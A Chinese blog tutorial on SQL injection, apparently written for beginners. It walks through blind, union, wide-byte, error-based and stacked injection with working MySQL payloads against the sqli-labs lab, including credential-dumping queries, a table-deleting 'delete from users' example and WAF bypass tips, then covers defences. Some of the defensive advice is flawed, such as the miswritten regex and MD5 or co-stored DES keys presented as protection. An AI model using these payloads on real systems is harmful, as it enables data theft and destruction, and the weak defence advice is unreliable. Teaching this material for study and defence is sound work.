【万字长文】SQL注入全流程解析,零基础看这一篇就够了

一、SQL形成的原因

当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库进行执行,获取或修改数据库中的数据。

简单的说就是前端没有对输入的数据进行过滤,同时后端也没有过滤,导致一些不合法的SQL语句可以执行,导致SQL注入。

1.1产生的条件:

  • 程序编写者在处理程序和数据库交互时,使用了字符串拼接的方式构造SQL语句

  • 不安全的数据库配置,比如对查询集不合理处理,对sql查询语句错误时不当的处理,导致其错误信息暴露在前端

  • 过于信任用户在前端所输入的数值,没有过滤用户输入的恶意数据,且未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中

  • 直接把用户输入的数据当做SQL语句执行,从而影响数据库安全和平台安全

1.2是否存在sql注入:

1.使用漏洞扫描工具进行扫描,根据扫描结果来判断是否存在sql注入,扫描工具有awvs,xray,nessus,appscan等

2.就是直接开整,测试各种特殊符号,看看有没有过滤的,看有没有报错,如果有就可能存在注入点,

1.3判断注入点

1. and 1=1页面正常,and 1=2页面错误就可能存在注入点

2.看看你输入的数据有没有带入数据库执行,如果执行了,页面就会发生改变,所以这里就可能存在注入点,不过有些网站会对输入的数据进行检测。

二、SQL注入危害

  • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露,

  • 网页篡改:通过操作数据库对特定网页进行篡改,可严重影响正常业务进行。

  • 网站被挂马:将恶意文件写入数据库,修改数据库字段值,嵌入网马链接,进行挂马攻击。

  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改,数据库中的数据遭到破坏。

  • 文件系统操作:列取目录、读取、写入shell文件获取webshell,远程控制服务器,安装后门,经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。

  • 执行系统命令:远程命令执行,可破坏硬盘数据,瘫痪全系统。

三、SQL注入流程

首先得看看这个数据是什么类型的(数字型还是字符型)

1.求闭合字符

2.选择注入模式

3.爆数据库

4.爆表名

5.爆列名

6.爆字段名

7.读取敏感数据

四、常见SQL查询项:

database()//查询数据库名字
Version() //查看数据库的版本
User() //查看当前的用户
@@version_compile_os//查看操作系统
@@datedir数据库路径

五、常见SQL注入方式

5.1布尔盲注:

针对页面没有回显数据,但是语句错误回显了,所以可以根据返回页面判断条件真假注入。

?id=1'and length((select database()))>9--+

#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4

?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。

布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。

判断这个库中有几张表:

(select count(table_name) from infotmation.schema.tables where table_schema='security')>5

判断表名字符长度

?id=1'and length(select table_name from information_schema.tables where table_schema='security' limit o,1)>13--+
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

逐一判断表名

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

判断所有字段名的长度

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

逐一判断字段名

?id=1' and length((select group_concat(username,password) from users))>109--+

判断字段内容长度

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

逐一检测内容。

5.2联合注入

可以使用UNION的注入,这种情况多半是有回显的时候。

第一步:

猜测这个前端输入的语句中究竟是一个字符型的输入还是一个数字型的输入,意味着在注入时候加不加一些特殊的符号。

http://localhost/sqli-labs/Less-1/?id=-1'order by 5--+
//判断这个数据库语句select选择了多少列

案例sqli-labs第一关,下面结果很明显报错了。表示并没有显示五个字段。

可以继续往下测试5,4,3,2,1等等一个一个测试。

如果出现这种情况则表示,判断正确是select选择了三个字段。

第二步:

?id=-1' union select 1,2,3--+
//判断这个数据库语句select选择的列有哪几个是回显到页面的

可以从图中可以看出这个select语句选中的这几列只有第二列和第三列可以显示到网页上。

第三步:

?id=-1' union select 1,database(),version()--+
//查询数据的版本以及数据库的名字等

可以查询到这个网站所用的数据库是security以及他的版本号是5.7.26

第四步:

union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//查询所有的数据库的名字

可以从图中很明显的查出这些数据的名字。为什么可以这么查呢,因为自从5.0的版本以上吧(具体版本忘记了),MySQL数据库中会有一个数据库专门记录每一个数据库每一个表的信息,还有每一个字段的信息都会记录。而这张表中刚好记录所有数据库的名字。

可以很清楚的看到这张表下存放的是所有数据库的名字,我们通过,union命令将MySQL数据库中的其他数据库的名字都给搞了出来。

第五步:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
//查询这个数据库中有什么表

很清楚的我们看到了,这个security表 中的所有字段。

同样我们在这里也产生了一个问题。为什么可以这样呢?

因为一样的原因,先来看看数据库中的表就知道了。

因为这张表数据太庞大了不好分析。我们直接来看结构图。从图上我们可以得出,这个表里面有这么些字段。那么这些字段我们是用来干什么的呢?

其实我们就了解table_name和table_schema这两个字段就够了,table_name很明显嘛表的名字,这个表中这个字段记录数据库中所有表的名字,包

括不同其他数据库中的表而table_schema这个字段则记录了每一个表中对应的数据库的名字。比如说user这个表是我的,Email是这个表是你的。它都

记录下来了。所以我们上面的语句还加上了一个判断的语句where table_schema=‘security’;所以就是我们要找这个数据库中所有表的名字。

第六步:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
//查询这个表中有什么字段

可以查到这些表中的字段,很明显这次注入成功,拿到放用户和密码的数据。

不用说column_name记录所有字段的信息。但是为了方便我们查到准确的信息。我们where语句这样写的where table_name='users' and table_schema='security'

为什么呢?因为我们每一张表中,难免会有重名的字段,这么数据库难怪会有相同的表。所有我们限制数据库名字和表。就能精准的查到我们想要的信息了。

第七步:

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
//查询这个表中username和password的值

这些便是查到的内容。账号和ID还有密码放在一起的。自己稍微看看就知道了

5.3宽字节注入:

原因:由于不同编码中英文所占字符不同导致的,通常来说,GBK编码中一个中文字符占用2个字符,而在UTF-8中一个中英文字符占3个字节

1、正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的',就会被转义为\';

2、若存在宽字节注入,输入%df%27时,经过单引号的转义变成了%df%5c%27,之后再数据库查询语句进行GBK多字节编码,即一个中文占用两个字节,一个英文同样占用两 个字节且在汉字编码范围内两个编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成汉字"運",单引号逃逸出来,从而绕过转义造成注入漏洞。

注入的条件是:

1.数据库的编码为GBK,php使用的UTF-8

2.使用addslashes();

我们常用的方式是加入一个字符和它转义的斜杠结合让'逃逸

可以看出来这里使用addslashes函数,可以测试一下宽字节。

而加入了%df'这里马上就报错了,可以猜测这里存在宽字节注入。

发现可以使用联合注入。就可以参照上面union联合注入的过程进行注入

5.4报错注入:

页面会返回错误信息,或者把注入语句的结果,直接返回在页面中。使用print_r(),mysql_error(),mysql_connect_errot()等函数讲错误输出到前端。

updatexml函数:

作用:改变(查询并替换)XML文档符合条件的节点的值

语法:updataxml(xml_document,xpathstring,new_vallue)

xml_document是字符串string文档的名字,
xpathstring是字符串中的一个位置,,具体指向文档中的某个值,
new_value是你想要替换成啥东西,string格式
http://localhost/sqli-labs/Less-5/?id=1'andupdatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 3,1),0x7e),2)--+

floor函数:

作用:返回小于x的最大整数值,比如floor(1,5)返回的是1

count()统计函数

rand()在0和1之间随机取个数字

extractvalue函数:

作用:从目标XML返回所查询的字符串

语法:Extractvalue(xml_document,xpath_string)

第一个参数:文档对象的名称;

第二个参数:字符串中的一个位置,具体要指向文档中的某一个位置一定是用下坡的

用法:extractvalue(1,concat(0x7c,version()))--+

5.5堆叠注入

描述:

在sql中分号;用来表示一条sql语句的结束,在后面再添加一条sql语句会导致两条语句一起执行,这就是堆叠注入。它与联合注入的区别是:联合注入使用的union语句,执行的语句类型是有限的,他只能使用查询语句。而堆叠注入,可执行任意语句。

#用户提交
Id=1;delete from users
#如果服务器未检测就会直接生成sql语句如下
Select * from users where id=1;delete from users
#结果就是执行后显示查询信息,然后删除整个表。

绕过姿势:

改成编码的形式或者宽字节注入

更改提交方式,大小写混合,双写绕过,解密编码,注释符混用,等价函数替换,特殊符号混用,HTTP参数污染,垃圾数据溢出等等

六、SQL注入防御措施

我们简单理解SQL注入就是在人为可以构造参数的地方加入一些非法敏感语句,绕过后端的处理,并带入到数据库中执行,然后返回敏感数据的过程。

6.1、限制数据类型

在传入参数的地方限制参数的类型,比如整型 Integer,随后加入函数判断,如is_numeric($_GET[‘id’]) 只有当get到的id为数字或者数字字符时才能执行下一步,限制了字字符自然就限制了注入,毕竟构造参数怎么可能不传入字符。但这种方法存在一定的限制,只能在特定的页面才能使用,一般大部分都是要求我们传入的字符串,但可以很大程度限制整型注入的情况。(针对此函数也是有一定绕过手段,比如转为十六进制)

6.2、正则表达式匹配传入参数

相信对于正则表达式大家都不陌生了,几乎在过滤比较严格的地方都有正则表达式。(后面我也会写一篇关于使用正则表达式的文章,包括基础的使用和绕过)。这里简单解读一下这段正则表达式:

$id=$_POST['id'];
if (preg_match('/and|select|insert|insert|update|[A-Za-z]|/d+:/i', $id)) { 
        die('stop hacking!'); 
    } else {
        echo 'good'; 
    }
preg_match() 函数匹配传入的id值,
/ 作为正则的起始标识符
| 代表或
[A-Za-z] 表示匹配参数中是否存在大小写的26个字符
/d 匹配是否存在数字
+匹配一次或多次
/i 不区分大小写

像下面这句:

?id=1’ union select 1,2# 因为匹配到union select,输出 stop hacking!

正则表达式也具有一定危险性,在SQL注入绕过waf中谈到过,正则表达式匹配非常消耗性能,因此攻击时可以构造大量的正常语句‘骗’过服务器,当后台对数据的处理达到最大限制时就会放弃匹配后面我们构造的非法语句,从而略过这个数据包。

6.3、函数过滤转义

在php中最基本的就是自带的magic_quotes_gpc函数,用于处理 ’ " 符号加上/ 防止转义, 比如:

 ?id=1' and 1=1#  ===> ?id=1/' and 1=1#

另外还有addslashes(),也具有相同的效果。

像前面提到的**preg_match()**函数结合正则表达式或者黑名单也具有预防效果。

小tips:默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

  • mysql_escape_string($string):用反斜杠转义字符串中的特殊字符,用于mysql_query()查询。

  • mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

  • 转义的符号包括 \x00 \n \r \ ’ " \x1a

6.4、预编译语句

预编译语句对现在的程序员来说基本都会去设计使用的方法,保障数据库的安全。一般来说,防御SQL注入的最佳方式就是使用预编译语句,绑定变量。

String query="select password from users where username='?' ";

下面讲一下什么叫预编译:使用预编译相当于是将数据于代码分离的方式,把传入的参数绑定为一个变量,用?表示,攻击者无法改变SQL的结构,在这个例子中,即使攻击者插入类似 admin’ or 1=1# 的字符串,如果不做处理直接带入查询,那么query则变成了

query="select password from users where username='admin' or 1=1 ";

闭合了后面的引号,从而执行了恶意代码。而预编译则是将传入的 admin’ or 1=1# 当做纯字符串的形式作为username执行,避免了上面说到的SQL语句中的拼接闭合查询语句等过程,可以理解为字符串与sql语句的关系区分开,username此时作为字符串不会被当做之前的SQL语句被带入数据库执行,避免了类似sql语句拼接、闭合等非法操作。就相当于拿着这个字符串去数据库中找有没有这个东西一样。并且使用预编译的SQL语句,SQL语句的语义不会发生改变。

下面给个php绑定变量的事例:

$query="INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)";
$stmt=$mysqli->prepare($query);
$stmt->bind_param("sss",$val1,$val2,$val3);
$val1="Stuttgart";
$val2="DEU";
$val3="Baden";
//execute the statement
$stmt->execute();

6.5、对数据库的敏感信息进行加密

数据库中可以进行MD5算法加密插入到数据库中,像数据库中的用户的账号和密码以及涉及到用的个人隐私的。

也可以在插入数据之前使用DES算法加密,密文加密钥组合起来,例如password字段的数据,前十六位为密文,后十六位为密钥,则password等于密文(16位)加上密钥(16位)组合起来,其他表中的字段同理。

6.6、管理数据库的配置权限

使用安全的账号和密码策略,SQL Server具有一个超级用户账号,其用户名称是: SA,该用户名不能被修改也不能被删除,所以,我们必须对这个账号进行最强的保护。不在数据库应用中直接使用SA账号,新建一个(而且只建-一个)与SA一样权限的超级用户来管理数据库,其它用户根据实际需要分配仅仅能够满足应用要求的权限,不要给予多余的权限,所有用户(特别是超级用户)都要使用复杂的密码,同时养成定期修改密码的好习惯。

使用Windows 身份验证模式,SQL Server的认证模式有Windows身份认证和混合身份认证两种。应该使用Windows 身份验证模式,因为它通过限制对Microsoft Windows 用户和域用户账户的连接,保护SQLServer免受大部分Internet 的工具的侵害,而且,服务器也可以从Windows 安全增强机制中获益。这样就可以使数据库免受大部分Internet的工具的侵害。

以上谈到的六种方法都是一些基本方法,具体怎么实现防御还要看怎么去设计。说到预编译语句是最佳方式,并不是说只是使用这一种方法就能够防止SQL注入,而实际上预编译也存在注入绕过的问题,并且也不是所有的地方都能够使用预编译语句。最佳的方式应该是多种方法结合,使用预编译的同时还要加上其他函数过滤,正则匹配等,更多的还有根据实际情况自定义函数确保安全。

如果你想学习SQL注入相关的内容,可以关注一下我,觉得我写的不对的,也可以在评论区告诉我!

  • 3
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值